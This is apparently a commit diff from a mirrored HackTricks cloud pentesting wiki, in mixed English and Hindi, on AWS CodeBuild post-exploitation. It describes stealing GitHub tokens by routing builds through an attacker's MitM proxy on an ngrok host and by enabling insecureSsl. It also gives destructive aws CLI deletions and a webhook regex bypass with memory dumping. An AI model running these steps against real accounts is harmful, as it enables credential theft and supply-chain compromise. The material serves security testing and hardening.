mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
+36
-17
@@ -4,7 +4,7 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
अधिक जानकारी के लिए, देखें:
|
||||
For more information, check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,8 +12,11 @@
|
||||
|
||||
### Check Secrets
|
||||
|
||||
यदि Codebuild में Github, Gitlab या Bitbucket से कनेक्ट करने के लिए व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में क्रेडेंशियल सेट किए गए हैं, तो ये **क्रेडेंशियल्स सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किए जाएंगे**।\
|
||||
इसलिए, यदि आपके पास सीक्रेट मैनेजर को पढ़ने का एक्सेस है, तो आप इन सीक्रेट्स को प्राप्त कर सकते हैं और जुड़े प्लेटफॉर्म पर पिवट कर सकते हैं।
|
||||
If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
|
||||
यदि Codebuild में Github, Gitlab या Bitbucket से कनेक्ट करने के लिए personal tokens, passwords या OAuth token access के रूप में credentials सेट किए गए हैं, तो ये **credentials secret manager में secrets के रूप में स्टोर किए जाएंगे**।\
|
||||
|
||||
Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
|
||||
इसलिए, यदि आपके पास secret manager पढ़ने की पहुँच है तो आप इन secrets को प्राप्त कर पाएंगे और connected platform पर pivot कर सकेंगे।
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
@@ -21,26 +24,34 @@
|
||||
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
**CodeBuild** को कॉन्फ़िगर करने के लिए, इसे **कोड रेपो** तक **एक्सेस** की आवश्यकता होगी जिसका यह उपयोग करने जा रहा है। कई प्लेटफार्म इस कोड को होस्ट कर सकते हैं:
|
||||
In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
|
||||
CodeBuild को configure करने के लिए, इसे उस code repo तक access चाहिए होगा जिसे यह उपयोग करेगा। कई platforms यह code host कर सकते हैं:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**CodeBuild प्रोजेक्ट को कॉन्फ़िगर किए गए स्रोत प्रदाता तक एक्सेस होना चाहिए**, या तो **IAM भूमिका** के माध्यम से या github/bitbucket **टोकन या OAuth एक्सेस** के साथ।
|
||||
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
|
||||
**CodeBuild project** का configured source provider तक access होना चाहिए, या तो **IAM role** के जरिए या github/bitbucket **token** या **OAuth access** के साथ।
|
||||
|
||||
एक हमलावर के पास **CodeBuild में ऊंचे अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\
|
||||
इसके लिए, एक हमलावर को बस **रेपो URL को प्रत्येक रेपो में बदलने की आवश्यकता होगी जहाँ कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है** (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा):
|
||||
An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
|
||||
In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
|
||||
एक attacker जिसके पास किसी CodeBuild पर **elevated permissions** हों, वह इस configured access का दुरुपयोग करके configured repo और उन अन्य repos का code leak कर सकता है जिन तक set creds की पहुँच है।\
|
||||
इसके लिए, attacker को बस repository URL को उन-उन repos पर बदलना होगा जिन तक config credentials की पहुँच है (ध्यान दें कि aws web इन्हें आपके लिए सूचीबद्ध करेगा):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड को बदलें**।
|
||||
And **change the Buildspec commands to exfiltrate each repo**.
|
||||
और Buildspec commands को बदलकर प्रत्येक repo को exfiltrate करने के लिए सेट करें।
|
||||
|
||||
> [!WARNING]
|
||||
> हालाँकि, यह **कार्य दोहरावदार और थकाऊ है** और यदि एक github टोकन को **लिखने की अनुमतियों** के साथ कॉन्फ़िगर किया गया था, तो एक हमलावर **उन अनुमतियों का (दुरुपयोग) नहीं कर पाएगा** क्योंकि उसके पास टोकन तक पहुँच नहीं है।\
|
||||
> या क्या है? अगले अनुभाग की जाँच करें
|
||||
> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
|
||||
> Or does he? Check the next section
|
||||
> हालाँकि, यह **कार्य दोहरावदार और थकाऊ** है और यदि कोई github token **write permissions** के साथ configure किया गया था, तो attacker उन permissions का **(ab)use नहीं कर पाएगा** क्योंकि उसके पास token की पहुँच नहीं है।\
|
||||
> या क्या वह कर सकता है? अगले सेक्शन को देखें
|
||||
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक कोई एक्सेस दिया गया था:
|
||||
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
|
||||
आप CodeBuild में दिये गए access को Github जैसे platforms पर leak कर सकते हैं। जांचें कि क्या किसी external platform को access दिया गया है:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,29 +59,37 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### webhook filter misconfiguration के माध्यम से Untrusted PR का निष्पादन
|
||||
|
||||
यदि webhook filters कमजोर हैं, तो बाहरी हमलावर अपने PRs को privileged CodeBuild projects में build करा सकते हैं और फिर CI में arbitrary code execute कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
एक हमलावर पूरे CodeBuild प्रोजेक्ट को हटा सकता है, जिससे प्रोजेक्ट कॉन्फ़िगरेशन का नुकसान होगा और प्रोजेक्ट पर निर्भर एप्लिकेशन पर प्रभाव पड़ेगा।
|
||||
एक हमलावर पूरे CodeBuild project को डिलीट कर सकता है, जिससे project configuration खो सकती है और उन applications पर प्रभाव पड़ेगा जो उस project पर निर्भर हैं।
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**संभावित प्रभाव**: हटाए गए प्रोजेक्ट का उपयोग करने वाले अनुप्रयोगों के लिए प्रोजेक्ट कॉन्फ़िगरेशन का नुकसान और सेवा में बाधा।
|
||||
**Potential Impact**: परियोजना कॉन्फ़िगरेशन का नुकसान और उन एप्लिकेशन के लिए सेवा में व्यवधान जो हटाए गए प्रोजेक्ट का उपयोग कर रही हैं।
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
एक हमलावर CodeBuild संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
|
||||
एक हमलावर CodeBuild संसाधनों पर टैग जोड़, संशोधित या हटा सकता है, जिससे आपके संगठन के लागत आवंटन, संसाधन ट्रैकिंग और टैग-आधारित एक्सेस कंट्रोल नीतियाँ प्रभावित हो सकती हैं।
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
|
||||
**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस कंट्रोल नीतियों में व्यवधान।
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
एक हमलावर Git रिपॉजिटरी के लिए स्रोत क्रेडेंशियल्स को हटा सकता है, जो रिपॉजिटरी पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को प्रभावित करता है।
|
||||
एक हमलावर Git रिपॉज़िटरी के लिए source credentials हटा सकता है, जिससे रिपॉज़िटरी पर निर्भर अनुप्रयोगों के सामान्य संचालन प्रभावित हो सकते हैं।
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**संभावित प्रभाव**: प्रभावित रिपॉजिटरी पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा, स्रोत क्रेडेंशियल्स को हटाने के कारण।
|
||||
**संभावित प्रभाव**: प्रभावित रिपॉज़िटरी पर निर्भर अनुप्रयोगों के सामान्य संचालन में स्रोत क्रेडेंशियल्स हटाए जाने के कारण व्यवधान।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+40
-49
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Github/Bitbucket के कॉन्फ़िगर किए गए Tokens पुनर्प्राप्त करें
|
||||
## Github/Bitbucket पर कॉन्फ़िगर किए गए Tokens पुनः प्राप्त करें
|
||||
|
||||
सबसे पहले, जांचें कि क्या कोई source credentials कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Docker Image के माध्यम से
|
||||
### Via Docker Image
|
||||
|
||||
यदि आपको पता चले कि उदाहरण के लिए Github के लिए authentication उस account में सेट है, तो आप वह **access** (**GH token or OAuth token**) **exfiltrate** कर सकते हैं, Codebuild को प्रोजेक्ट के build चलाने के लिए एक specific Docker image इस्तेमाल करने पर मजबूर करके।
|
||||
यदि आपको पता चले कि उदाहरण के लिए Github के लिए authentication खाते में सेट है, तो आप परियोजना के build को चलाने के लिए Codebuild को **use an specific docker image** करवा कर उस **access** (**GH token or OAuth token**) को **exfiltrate** कर सकते हैं।
|
||||
|
||||
इसके लिए आप **नया Codebuild project बना सकते हैं** या एक मौजूदा का **environment** बदलकर **Docker image** सेट कर सकते हैं।
|
||||
इस उद्देश्य के लिए आप **create a new Codebuild project** कर सकते हैं या किसी मौजूदा प्रोजेक्ट के **environment** को बदलकर **Docker image** सेट कर सकते हैं।
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत basic Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। इससे आप उस होस्ट के अधिकांश ट्रैफ़िक को intercept कर पाएँगे जो **`https_proxy`** और **`http_proxy`** में संकेतित है, और उस SSL CERT पर भरोसा करेगा जो **`SSL_CERT_FILE`** में संकेतित है।
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको उस host के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा जो **`https_proxy`** और **`http_proxy`** में निर्दिष्ट है और **`SSL_CERT_FILE`** में दिए गए SSL CERT को ट्रस्ट करेगा।
|
||||
|
||||
1. **अपना Docker MitM image बनाएं और अपलोड करें**
|
||||
- repo के निर्देशों का पालन करके अपना proxy IP address और SSL cert सेट करें और **docker image build** करें।
|
||||
- **DO NOT SET `http_proxy`** ताकि metadata endpoint के अनुरोधों को intercept न किया जाए।
|
||||
- आप **`ngrok`** का उपयोग कर सकते हैं, जैसे `ngrok tcp 4444`, अपने host पर proxy सेट करने के लिए
|
||||
- एक बार जब आपका Docker image build हो जाए, तो **इसे किसी public repo में upload करें** (Dockerhub, ECR...)
|
||||
2. **Environment सेट करें**
|
||||
- एक **नया Codebuild project** बनाएं या मौजूदा एक के environment को **modify** करें।
|
||||
- प्रोजेक्ट को सेट करें कि वह **previously generated Docker image** का उपयोग करे
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- repo के निर्देशों का पालन करके अपने proxy IP address और SSL cert सेट करें और **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** ताकि metadata endpoint के अनुरोधों को इंटरसेप्ट न किया जाए।
|
||||
- आप अपने host पर proxy सेट करने के लिए **`ngrok`** का उपयोग कर सकते हैं, जैसे `ngrok tcp 4444` lo set the proxy to your host
|
||||
- एक बार जब आपने Docker image बना लिया, तो **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- एक **new Codebuild project** बनाएं या किसी मौजूदा परियोजना के environment को **modify** करें।
|
||||
- प्रोजेक्ट को use करने के लिए सेट करें **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **अपने host में MitM proxy सेट करें**
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- जैसा कि **Github repo** में दर्शाया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
- जैसा कि **Github repo** में बताया गया है आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> उपयोग की गई **mitmproxy version 9.0.1** थी; रिपोर्ट्स के अनुसार version 10 पर यह काम नहीं कर सकता है।
|
||||
> **mitmproxy version used was 9.0.1**, रिपोर्ट किया गया था कि version 10 के साथ यह काम नहीं कर सकता।
|
||||
|
||||
4. **बिल्ड चलाएँ & capture the credentials**
|
||||
4. **बिल्ड चलाएँ & credentials कैप्चर करें**
|
||||
|
||||
- आप token को **Authorization** header में देख सकते हैं:
|
||||
- आप **Authorization** हेडर में token देख सकते हैं:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यह aws cli से भी कुछ इस तरह किया जा सकता है
|
||||
इसे aws cli से भी कुछ इस तरह किया जा सकता है
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### insecureSSL के माध्यम से
|
||||
### insecureSsl के जरिए
|
||||
|
||||
**Codebuild** projects में **`insecureSsl`** नाम की एक setting होती है जो वेब में छिपी रहती है, आप इसे केवल API से ही बदल सकते हैं.\
|
||||
इसे सक्षम करने पर, Codebuild platform द्वारा प्रदान किए गए repository से **certificate की जाँच किए बिना** जुड़ सकता है.
|
||||
**Codebuild** projects में एक सेटिंग होती है जिसका नाम **`insecureSsl`** है जो वेब में छिपी होती है और आप इसे केवल API से ही बदल सकते हैं.\
|
||||
इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए रिपॉज़िटरी के **प्रमाणपत्र की जाँच किए बिना** कनेक्ट कर सकता है।
|
||||
|
||||
- सबसे पहले आपको current configuration को enumerate करना होगा, कुछ इस तरह:
|
||||
- सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह enumerate करना होगा:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा एक प्रोजेक्ट अपडेट करने का उदाहरण है, ध्यान दें कि अंत में **`insecureSsl=True`** है (यह ही एक चीज़ है जिसे आपको एकत्रित कॉन्फ़िगरेशन में बदलना है)।
|
||||
- इसके अलावा, अपने tcp ngrok की ओर इशारा करते हुए env variables **http_proxy** और **https_proxy** भी जोड़ें, जैसे:
|
||||
- फिर, एकत्र की गई जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा प्रोजेक्ट अपडेट करने का एक उदाहरण है, ध्यान दें अंत में **`insecureSsl=True`** (यह एकमात्र चीज़ है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलना है)।
|
||||
- इसके अलावा, अपने tcp ngrok की ओर इशारा करते हुए env वेरिएबल्स **http_proxy** और **https_proxy** भी जोड़ें, जैसे:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- फिर, proxy variables (http_proxy and https_proxy) द्वारा इंगित पोर्ट पर [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बेसिक उदाहरण चलाएँ
|
||||
- फिर, proxy variables (http_proxy and https_proxy) द्वारा संकेत किए गए पोर्ट पर [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बेसिक उदाहरण चलाएँ
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- अंत में, **Build the project** पर क्लिक करें, ये **credentials** mitm पोर्ट पर **clear text** (base64) में भेज दिए जाएंगे:
|
||||
- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~HTTP प्रोटोकॉल के माध्यम से~~
|
||||
|
||||
> [!TIP] > **यह vulnerability AWS द्वारा 20th of Feb of 2023 के सप्ताह में किसी बिंदु पर ठीक कर दी गई थी (मुझे लगता है शुक्रवार)। इसलिए एक attacker अब इसका दुरुपयोग नहीं कर सकता :)**
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
|
||||
एक attacker जिसके पास CodeBuild पर elevated permissions हों, वह configured Github/Bitbucket token को leak कर सकता है, या यदि permissions OAuth के माध्यम से configured थे, तो code तक पहुँचने के लिए उपयोग किया गया temporary OAuth token भी।
|
||||
जिसके पास CodeBuild में **elevated permissions** हों, वह configured Github/Bitbucket token को leak कर सकता है, या अगर permissions OAuth के जरिए configure किए गए हों तो code तक पहुँचने के लिए उपयोग होने वाला **temporary OAuth token** भी leak हो सकता है।
|
||||
|
||||
- एक attacker CodeBuild project में environment variables **http_proxy** और **https_proxy** जोड़ सकता है जो उसकी मशीन की ओर point करते हैं (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
|
||||
- एक attacker CodeBuild project में environment variables **http_proxy** और **https_proxy** जोड़ सकता है जो उसकी मशीन की ओर point करें (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- फिर, github repo का URL HTTPS की बजाय HTTP उपयोग करने के लिए बदलें, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
|
||||
- फिर, proxy variables (http_proxy और https_proxy) द्वारा point किए गए पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example चलाएँ।
|
||||
- फिर, github repo का URL HTTPS की बजाय HTTP का उपयोग करने के लिए बदलें, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
|
||||
- फिर, proxy variables (http_proxy और https_proxy) द्वारा बताए गए पोर्ट पर [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example चलाएँ।
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- इसके बाद, **प्रोजेक्ट बिल्ड करें** पर क्लिक करें या कमांड लाइन से बिल्ड शुरू करें:
|
||||
- इसके बाद, **Build the project** पर क्लिक करें या command line से build शुरू करें:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- अंत में, **credentials** को **साफ़ टेक्स्ट** (base64) में mitm पोर्ट पर भेजा जाएगा:
|
||||
- अंत में, **credentials** **साफ़ टेक्स्ट में भेजे जाएंगे** (base64) mitm पोर्ट पर:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> अब एक attacker अपनी मशीन से token का उपयोग कर सकेगा, इसके सभी privileges को सूचीबद्ध कर सकेगा और सीधे CodeBuild सेवा का उपयोग करने की तुलना में इसका (ab)use/दुरुपयोग करना आसान होगा।
|
||||
> अब एक हमलावर अपने मशीन से token का उपयोग कर सकेगा, उसके पास जो भी privileges हैं उन्हें सूचीबद्ध कर सकेगा और CodeBuild service का सीधे उपयोग करने की तुलना में उन्हें (ab)use करना आसान होगा।
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## Untrusted PR execution via webhook filter misconfiguration
|
||||
|
||||
गलत कॉन्फ़िगर किए गए CodeBuild GitHub webhooks जो unanchored `ACTOR_ID` regexes का उपयोग करते हैं, *untrusted* PRs को privileged builds शुरू करने की अनुमति देते हैं। यदि allowlist `123456|7890123` जैसा है और उसमें `^`/`$` नहीं है, तो कोई भी ID जिसमें उन substrings में से कोई भी शामिल हो, मेल खाता है। क्योंकि GitHub user IDs अनुक्रमिक होते हैं, एक attacker "eclipsing" ID (trusted ID का एक superstring) रजिस्टर करने के लिए रेस कर सकता है और build ट्रिगर कर सकता है।
|
||||
For the PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), check:
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. सार्वजनिक CodeBuild projects खोजें जो webhook filters उजागर करते हैं और एक unanchored `ACTOR_ID` allowlist निकालें।
|
||||
2. एक eclipsing GitHub ID प्राप्त करें:
|
||||
- GitHub orgs बनाकर/हटाकर global ID counter का नमूना लें (org IDs pool साझा करते हैं)।
|
||||
- कई GitHub App manifest creations को pre-stage करें और जब counter लक्ष्य के लगभग ~100 IDs के भीतर हो तब confirmation URLs को सक्रिय करके burst-register करें एक bot ID जिसमें trusted substring हो।
|
||||
3. eclipsing account से एक PR खोलें; regex substring से मेल खाता है और privileged build चल जाता है।
|
||||
4. build RCE का उपयोग करें (उदा., dependency install hooks) ताकि process memory dump कर सकें जो GitHub credential को handle कर रही है और PAT/OAuth token पुनः प्राप्त करें।
|
||||
5. `repo` scope वाले token के साथ, अपने account को collaborator/admin के रूप में invite करें और malicious commits को push/approve करें या secrets को exfiltrate करें।
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
यह हमला तभी होता है जब एक **public-facing PR workflow** को कमजोर webhook नियंत्रण वाले एक **privileged CodeBuild project** से जोड़ा गया हो।
|
||||
|
||||
यदि बाहरी हमलावर अपने pull request को CodeBuild में execute करवा सके, तो आम तौर पर वे **build के अंदर arbitrary code execution** पा सकते हैं (build scripts, dependency hooks, test scripts, आदि), और फिर secrets, IAM credentials, या source-provider credentials तक पहुँच सकते हैं।
|
||||
|
||||
## Why this is dangerous
|
||||
|
||||
CodeBuild webhook filters regex patterns के साथ evaluate होते हैं (non-`EVENT` filters के लिए)। `ACTOR_ACCOUNT_ID` filter में, एक कमजोर pattern उम्मीद से अधिक users से मिल सकता है।
|
||||
यदि untrusted PRs किसी project में build होते हैं जिसके पास privileged AWS role permissions या GitHub credentials हैं, तो यह पूरा supply-chain compromise बन सकता है।
|
||||
|
||||
Wiz ने एक practical chain दिखाया जहां:
|
||||
|
||||
1. एक webhook actor allowlist ने **unanchored regex** इस्तेमाल किया।
|
||||
2. एक attacker ने ऐसा GitHub ID register किया जो trusted ID का **superstring** था।
|
||||
3. एक malicious PR ने CodeBuild trigger किया।
|
||||
4. Build code execution का उपयोग कर memory dump करके source-provider credentials/tokens recover किये गए।
|
||||
|
||||
## Misconfigurations that allow external PR code execution
|
||||
|
||||
नीचे high-risk गलतियां और attackers किस तरह इन्हें abuse करते हैं दिए गए हैं:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- Common risky events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- अन्य events जो privileged builds से जुड़ने पर भी खतरनाक बन सकते हैं: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- खराब: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` किसी privileged project में।
|
||||
- बेहतर: PR comment approval का उपयोग करें और privileged projects के लिए trigger events को minimize करें।
|
||||
- Abuse: attacker एक PR खोलता/अपडेट करता है या अपनी control वाली branch पर push करता है, और उनका code CodeBuild में execute होता है।
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- खराब: unanchored patterns जैसे `123456|7890123`.
|
||||
- बेहतर: exact-match anchoring `^(123456|7890123)$`.
|
||||
- Abuse: regex over-match unauthorized GitHub IDs को allowlists से पास कर देता है।
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- खराब: `refs/heads/.*`
|
||||
- बेहतर: `^refs/heads/main$` (या explicit trusted list)
|
||||
- `BASE_REF`
|
||||
- खराब: `.*`
|
||||
- बेहतर: `^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- खराब: path restrictions नहीं होना
|
||||
- बेहतर: risky files को exclude करें जैसे `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
|
||||
- `COMMIT_MESSAGE`
|
||||
- खराब: loose match के साथ trust marker जैसे `trusted`
|
||||
- बेहतर: commit message को PR execution के लिए trust boundary के रूप में उपयोग न करें
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- खराब: org/global webhooks में `.*`
|
||||
- बेहतर: सिर्फ exact repo/org matches
|
||||
- `WORKFLOW_NAME`
|
||||
- खराब: `.*`
|
||||
- बेहतर: केवल exact workflow name matches (या इसे trust control के रूप में उपयोग न करें)
|
||||
- Abuse: attacker permissive regex को satisfy करने के लिए ref/path/message/repo context craft करता है और builds trigger करता है।
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- इस flag को गलत तरीके से सेट करने पर intended logic उलट सकती है।
|
||||
- खराब: `FILE_PATH '^buildspec\\.yml$'` के साथ `excludeMatchedPattern=false` जब intent buildspec edits को block करना था।
|
||||
- बेहतर: वही pattern `excludeMatchedPattern=true` के साथ ताकि `buildspec.yml` को छूने वाली builds deny हों।
|
||||
- Abuse: defenders सोचते हैं कि वे risky events/paths/actors को रोक रहे हैं, लेकिन दरअसल वे उन्हें allow कर रहे होते हैं।
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild groups को OR के रूप में evaluate करता है (एक पास होने वाला group ही काफी है)।
|
||||
- खराब: एक strict group + एक permissive fallback group (उदा., केवल `EVENT=PULL_REQUEST_UPDATED`)।
|
||||
- बेहतर: ऐसे fallback groups हटा दें जो actor/ref/path constraints लागू नहीं करते।
|
||||
- Abuse: attacker को केवल weakest group satisfy करना होता है।
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` सबसे कम सुरक्षित है।
|
||||
- बहुत broad approver roles नियंत्रण को कम कर देते हैं।
|
||||
- खराब: `requiresCommentApproval=DISABLED`.
|
||||
- बेहतर: `ALL_PULL_REQUESTS` या `FORK_PULL_REQUESTS` के साथ minimal approver roles।
|
||||
- Abuse: fork/drive-by PRs बिना trusted maintainer approval के auto-run हो जाते हैं।
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- `HEAD_REF` + `BASE_REF` + `FILE_PATH` के साथ defense-in-depth का अभाव।
|
||||
- खराब: केवल `EVENT` + `ACTOR_ACCOUNT_ID`, बिना ref/path controls के।
|
||||
